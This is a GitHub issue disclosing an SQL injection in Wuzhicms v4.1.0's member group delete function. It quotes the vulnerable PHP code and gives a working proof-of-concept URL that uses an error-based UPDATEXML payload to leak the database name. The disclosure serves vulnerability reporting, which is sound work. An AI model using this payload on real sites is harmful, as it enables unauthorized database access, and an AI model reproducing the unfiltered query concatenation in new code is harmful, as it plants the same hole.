Skip to content

Wuzhicms v4.1.0 /coreframe/app/member/admin/group.php hava a SQL Injection Vulnerability  #200

Open
@jinwandalaohuaa

Description

@jinwandalaohuaa

Vulnerability file:

/coreframe/app/member/admin/group.php:132-160

 public function del() {
	if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {
		if(is_array($GLOBALS['groupid'])) {
			$where = ' IN ('.implode(',', $GLOBALS['groupid']).')';
			foreach($GLOBALS['groupid'] as $gid) {
				$this->db->delete('member_group_priv', array('groupid' => $gid));
			}
		} else {
			$where = ' = '.$GLOBALS['groupid'];
			$this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));
		}
		$this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);
		$this->group->set_cache();
		if(isset($GLOBALS['callback'])){
			echo $GLOBALS['callback'].'({"status":1})';
		}else{
			MSG(L('operation_success'));
		}
	}else{
		if(isset($GLOBALS['callback'])){
			echo $GLOBALS['callback'].'({"status":0})';
		}else{
			MSG(L('operation_failure'));
		}
	}
}

In the group.php file, the $groupid parameter under the del method are controllable, and the $groupid parameter is not strictly filtered, causing SQL injection vulnerabilities!

POC

index.php?m=member&f=group&v=del&groupid=7 and UPDATEXML(1,CONCAT(0x7e,database()),3)&_su=wuzhicms&_menuid=86

image

The vulnerability is located in the management member -> member group management list -> delete operation

image

image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions